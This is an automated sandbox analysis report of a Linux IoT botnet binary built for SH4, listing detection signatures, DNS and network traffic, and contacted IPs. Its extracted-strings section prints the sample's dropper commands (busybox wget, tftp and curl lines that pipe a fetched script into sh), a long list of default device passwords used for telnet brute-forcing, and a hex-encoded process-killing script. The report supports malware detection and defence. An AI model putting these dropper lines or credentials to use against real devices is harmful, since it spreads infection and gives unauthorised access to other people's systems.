Linux Analysis Report
la.bot.sh4.elf

Overview

General Information

Sample name: la.bot.sh4.elf
Analysis ID: 1542973
MD5: b442b27a480ed9e5a1ba1dd4a9df4ecc
SHA1: 19b9481a6af037e275d3818094f0279cae0ebb30
SHA256: b4e7f6f30be1cb7453ef2cb85d657b0b5ea49a8c762b6b4eb0793ec62083e179
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 56
Range: 0 - 100
Whitelisted: false

Signatures

Multi AV Scanner detection for submitted file
Sends malformed DNS queries
Uses known network protocols on non-standard ports
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: la.bot.sh4.elf ReversingLabs: Detection: 31%
Source: la.bot.sh4.elf Virustotal: Detection: 32% Perma Link
Found strings indicative of a multi-platform dropper
Source: la.bot.sh4.elf String: ash|login|wget|curl|tftp|ntpdate|ftp
Source: la.bot.sh4.elf String: l/proc//exe|ash|login|wget|curl|tftp|ntpdate|ftp/mountinfo/fd/dev/null|/dev/consolesocket|proc/usr/bin/usr/sbin/system/mnt/mtd/app/org/z/zbin/home/app/dvr/bin/duksan/userfs/mnt/app/usr/etc/dvr/main/usr/local/var/bin/tmp/sqfs/z/bin/dvr/mnt/mtd/zconf/gm/bin/home/process/var/challenge/usr/lib/lib/systemd//usr/lib/systemd/system/system/bin//mnt//home/helper/home/davinci/usr/libexec//sbin//bin//proc/net/tcp/proc/fd//proc/self/exe/. /proc//dev/watchdog/dev/misc/watchdogtelnetd|udhcpc|ntpclient|boa|httpd|mini_http|watchdog|pppdM
Source: la.bot.sh4.elf String: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Networking
barindex
Sends malformed DNS queries
Source: global traffic DNS traffic detected: malformed DNS query: 75cents.libre. [malformed]
Source: global traffic DNS traffic detected: malformed DNS query: fortyfivehundred.dyn. [malformed]
Source: global traffic DNS traffic detected: malformed DNS query: 2joints.libre. [malformed]
Source: global traffic DNS traffic detected: malformed DNS query: www.codingdrunk.in. [malformed]
Source: global traffic DNS traffic detected: malformed DNS query: eighteen.pirate. [malformed]
Uses known network protocols on non-standard ports
Source: unknown Network traffic detected: HTTP traffic on port 23 -> 60156
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.23:48602 -> 154.205.128.136:38429
Sample listens on a socket
Source: /tmp/la.bot.sh4.elf (PID: 6235) Socket: 127.0.0.1:1234 Jump to behavior
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Source: global traffic TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: unknown TCP traffic detected without corresponding DNS query: 143.41.233.154
Source: unknown TCP traffic detected without corresponding DNS query: 11.80.39.42
Source: unknown TCP traffic detected without corresponding DNS query: 143.41.233.154
Source: unknown TCP traffic detected without corresponding DNS query: 113.16.211.128
Source: unknown TCP traffic detected without corresponding DNS query: 84.151.26.214
Source: unknown TCP traffic detected without corresponding DNS query: 137.250.65.25
Source: unknown TCP traffic detected without corresponding DNS query: 11.80.39.42
Source: unknown TCP traffic detected without corresponding DNS query: 113.16.211.128
Source: unknown TCP traffic detected without corresponding DNS query: 84.151.26.214
Source: unknown TCP traffic detected without corresponding DNS query: 137.250.65.25
Source: unknown TCP traffic detected without corresponding DNS query: 81.212.247.90
Source: unknown TCP traffic detected without corresponding DNS query: 56.183.239.129
Source: unknown TCP traffic detected without corresponding DNS query: 86.114.64.16
Source: unknown TCP traffic detected without corresponding DNS query: 73.74.160.131
Source: unknown TCP traffic detected without corresponding DNS query: 81.212.247.90
Source: unknown TCP traffic detected without corresponding DNS query: 56.183.239.129
Source: unknown TCP traffic detected without corresponding DNS query: 86.114.64.16
Source: unknown TCP traffic detected without corresponding DNS query: 73.74.160.131
Source: unknown TCP traffic detected without corresponding DNS query: 54.197.84.65
Source: unknown TCP traffic detected without corresponding DNS query: 6.173.85.63
Source: unknown TCP traffic detected without corresponding DNS query: 66.166.75.61
Source: unknown TCP traffic detected without corresponding DNS query: 54.197.84.65
Source: unknown TCP traffic detected without corresponding DNS query: 15.164.152.46
Source: unknown TCP traffic detected without corresponding DNS query: 6.173.85.63
Source: unknown TCP traffic detected without corresponding DNS query: 200.199.168.174
Source: unknown TCP traffic detected without corresponding DNS query: 66.166.75.61
Source: unknown TCP traffic detected without corresponding DNS query: 32.192.191.182
Source: unknown TCP traffic detected without corresponding DNS query: 15.164.152.46
Source: unknown TCP traffic detected without corresponding DNS query: 20.79.226.68
Source: unknown TCP traffic detected without corresponding DNS query: 200.199.168.174
Source: unknown TCP traffic detected without corresponding DNS query: 106.82.4.233
Source: unknown TCP traffic detected without corresponding DNS query: 32.192.191.182
Source: unknown TCP traffic detected without corresponding DNS query: 100.218.167.222
Source: unknown TCP traffic detected without corresponding DNS query: 20.79.226.68
Source: unknown TCP traffic detected without corresponding DNS query: 219.171.79.223
Source: unknown TCP traffic detected without corresponding DNS query: 106.82.4.233
Source: unknown TCP traffic detected without corresponding DNS query: 222.89.96.176
Source: unknown TCP traffic detected without corresponding DNS query: 100.218.167.222
Source: unknown TCP traffic detected without corresponding DNS query: 221.18.27.126
Source: unknown TCP traffic detected without corresponding DNS query: 219.171.79.223
Source: unknown TCP traffic detected without corresponding DNS query: 106.14.186.110
Source: unknown TCP traffic detected without corresponding DNS query: 222.89.96.176
Source: unknown TCP traffic detected without corresponding DNS query: 68.141.173.73
Source: unknown TCP traffic detected without corresponding DNS query: 221.18.27.126
Source: unknown TCP traffic detected without corresponding DNS query: 158.148.92.125
Source: unknown TCP traffic detected without corresponding DNS query: 207.211.233.83
Source: unknown TCP traffic detected without corresponding DNS query: 106.14.186.110
Source: unknown TCP traffic detected without corresponding DNS query: 77.208.171.204
Source: unknown TCP traffic detected without corresponding DNS query: 68.141.173.73
Source: unknown TCP traffic detected without corresponding DNS query: 98.216.176.118
Source: global traffic DNS traffic detected: DNS query: 75cents.libre. [malformed]
Source: global traffic DNS traffic detected: DNS query: fortyfivehundred.dyn. [malformed]
Source: global traffic DNS traffic detected: DNS query: 2joints.libre. [malformed]
Source: global traffic DNS traffic detected: DNS query: www.codingdrunk.in. [malformed]
Source: global traffic DNS traffic detected: DNS query: eighteen.pirate. [malformed]
Source: global traffic DNS traffic detected: DNS query: eighteen.pirate
Source: la.bot.sh4.elf String found in binary or memory: http:///curl.sh
Source: la.bot.sh4.elf String found in binary or memory: http:///wget.sh
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep
Source: Initial sample String containing 'busybox' found: usage: busyboxincorrectinvalidbadwrongfaildeniederrorretryGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne >> > upnp
Source: Initial sample String containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Sample tries to kill a process (SIGKILL)
Source: /tmp/la.bot.sh4.elf (PID: 6237) SIGKILL sent: pid: 936, result: successful Jump to behavior
Source: classification engine Classification label: mal56.troj.linELF@0/0@11/0
Enumerates processes within the "proc" file system
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/230/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/110/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/231/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/111/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/232/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/112/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/233/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/113/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/234/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/114/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/235/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/115/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/236/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/116/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/237/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/117/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/118/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/910/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/119/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/912/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/10/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/11/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/918/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/12/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/13/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/14/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/15/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/16/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/17/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/18/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/120/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/121/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/1/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/122/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/243/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/123/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/2/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/124/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/3/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/4/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/125/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/126/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/127/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/6/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/248/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/128/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/249/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/800/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/9/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/801/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/20/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/21/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/22/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/23/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/24/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/25/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/26/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/27/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/28/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/29/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/491/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/250/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/130/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/251/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/252/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/132/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/253/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/254/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/255/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/256/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/257/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/379/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/258/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/259/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/936/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/30/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/35/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/260/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/261/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/141/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/262/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/263/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/264/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/144/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/265/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/266/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/267/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/269/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/270/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/272/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/274/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/278/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/157/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/281/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/286/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/720/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/721/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/847/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/77/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/78/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/79/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/80/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/81/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/82/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6237) File opened: /proc/83/fd Jump to behavior

Hooking and other Techniques for Hiding and Protection
barindex
Uses known network protocols on non-standard ports
Source: unknown Network traffic detected: HTTP traffic on port 23 -> 60156
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/la.bot.sh4.elf (PID: 6235) Queries kernel information via 'uname': Jump to behavior
Source: la.bot.sh4.elf, 6235.1.00007ffc6de7c000.00007ffc6de9d000.rw-.sdmp Binary or memory string: /usr/bin/qemu-sh4
Source: la.bot.sh4.elf, 6235.1.00005582c4557000.00005582c45ba000.rw-.sdmp Binary or memory string: U5!/etc/qemu-binfmt/sh4
Source: la.bot.sh4.elf, 6235.1.00005582c4557000.00005582c45ba000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/sh4
Source: la.bot.sh4.elf, 6235.1.00007ffc6de7c000.00007ffc6de9d000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-sh4/tmp/la.bot.sh4.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/la.bot.sh4.elf

No Screenshots

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
30.128.39.153
 unknown United States
7922 COMCAST-7922US false
143.217.58.113
 unknown Sweden
16084 EON-ISISPinHannoverDE false
104.203.69.20
 unknown United States
18978 ENZUINC-US false
72.235.214.28
 unknown United States
36149 HAWAIIAN-TELCOMUS false
111.187.209.159
 unknown China
4538 ERX-CERNET-BKBChinaEducationandResearchNetworkCenter false
197.86.173.103
 unknown South Africa
10474 OPTINETZA false
145.33.112.65
 unknown Netherlands
1103 SURFNET-NLSURFnetTheNetherlandsNL false
120.58.187.220
 unknown India
17813 MTNL-APMahanagarTelephoneNigamLimitedIN false
204.234.221.123
 unknown United States
11714 NETWORKNEBRASKAUS false
89.101.28.253
 unknown Ireland
6830 LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding false
146.149.155.185
 unknown United States
15169 GOOGLEUS false
32.143.38.128
 unknown United States
7018 ATT-INTERNET4US false
17.224.115.176
 unknown United States
714 APPLE-ENGINEERINGUS false
43.184.231.227
 unknown Japan 4249 LILLY-ASUS false
185.195.131.114
 unknown Italy
56911 ASN-WARIANInternetServiceProviderEU false
91.134.89.2
 unknown France
16276 OVHFR false
145.241.201.79
 unknown Switzerland
8447 TELEKOM-ATA1TelekomAustriaAGAT false
70.137.43.162
 unknown United States
7018 ATT-INTERNET4US false
69.233.141.187
 unknown United States
7018 ATT-INTERNET4US false
79.31.218.85
 unknown Italy
3269 ASN-IBSNAZIT false
195.190.29.219
 unknown Switzerland
28810 WHO-ASEU false
203.203.14.92
 unknown Taiwan; Republic of China (ROC)
9416 MULTIMEDIA-AS-APHoshinMultimediaCenterIncTW false
61.163.2.47
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
124.94.33.85
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
179.73.56.12
 unknown Brazil
26615 TIMSABR false
96.236.110.6
 unknown United States
701 UUNETUS false
36.40.38.180
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
218.3.168.78
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
204.18.116.140
 unknown Iran (ISLAMIC Republic Of)
197207 MCCI-ASIR false
126.94.85.192
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
199.206.81.96
 unknown United States
7227 KPMGL-ASUS false
64.97.142.37
 unknown Cayman Islands
62831 UNIREGISTRYKY false
190.69.190.37
 unknown Colombia
3816 COLOMBIATELECOMUNICACIONESSAESPCO false
163.54.130.65
 unknown Japan 2907 SINET-ASResearchOrganizationofInformationandSystemsN false
174.12.214.18
 unknown United States
6327 SHAWCA false
94.186.219.74
 unknown Germany
48918 GLOBALWAYSDE false
50.35.35.189
 unknown United States
27017 ZIPLY-FIBER-LEGACY-ASNUS false
126.62.7.129
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
149.175.54.6
 unknown United States
30629 LCLARKUS false
171.152.252.106
 unknown United States
9874 STARHUB-MOBILEStarHubLtdSG false
64.168.11.126
 unknown United States
7132 SBIS-ASUS false
47.109.61.131
 unknown China
37963 CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd false
151.18.198.75
 unknown Italy
1267 ASN-WINDTREIUNETEU false
190.69.86.224
 unknown Colombia
3816 COLOMBIATELECOMUNICACIONESSAESPCO false
65.36.74.248
 unknown United States
7459 GRANDECOM-AS1US false
13.216.45.31
 unknown United States
16509 AMAZON-02US false
78.74.239.98
 unknown Sweden
3301 TELIANET-SWEDENTeliaCompanySE false
113.46.154.130
 unknown China
4808 CHINA169-BJChinaUnicomBeijingProvinceNetworkCN false
44.189.132.57
 unknown United States
7377 UCSDUS false
167.120.24.147
 unknown United States
2055 LSU-1US false
102.10.60.117
 unknown unknown
37069 MOBINILEG false
64.201.14.197
 unknown United States
7029 WINDSTREAMUS false
161.133.216.216
 unknown United States
7018 ATT-INTERNET4US false
26.250.170.13
 unknown United States
7922 COMCAST-7922US false
176.86.188.187
 unknown Spain
3352 TELEFONICA_DE_ESPANAES false
93.46.194.130
 unknown Italy
12874 FASTWEBIT false
164.203.174.129
 unknown United States
3303 SWISSCOMSwisscomSwitzerlandLtdCH false
115.46.234.80
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
104.20.41.119
 unknown United States
13335 CLOUDFLARENETUS false
166.221.189.115
 unknown United States
6614 USCC-ASNUS false
191.212.185.154
 unknown Brazil
7738 TelemarNorteLesteSABR false
45.32.140.17
 unknown United States
20473 AS-CHOOPAUS false
3.47.61.179
 unknown United States
8987 AMAZONEXPANSIONGB false
179.118.180.222
 unknown Brazil
26599 TELEFONICABRASILSABR false
79.174.148.240
 unknown Germany
48173 UNBELIEVABLE-ASDE false
220.20.37.81
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
35.0.192.226
 unknown United States
36375 UMICH-AS-5US false
96.105.125.123
 unknown United States
7922 COMCAST-7922US false
62.61.16.164
 unknown Russian Federation
3218 COSMOS-3218-ASAS-COSMOSrootRU false
191.190.175.222
 unknown Brazil
28573 CLAROSABR false
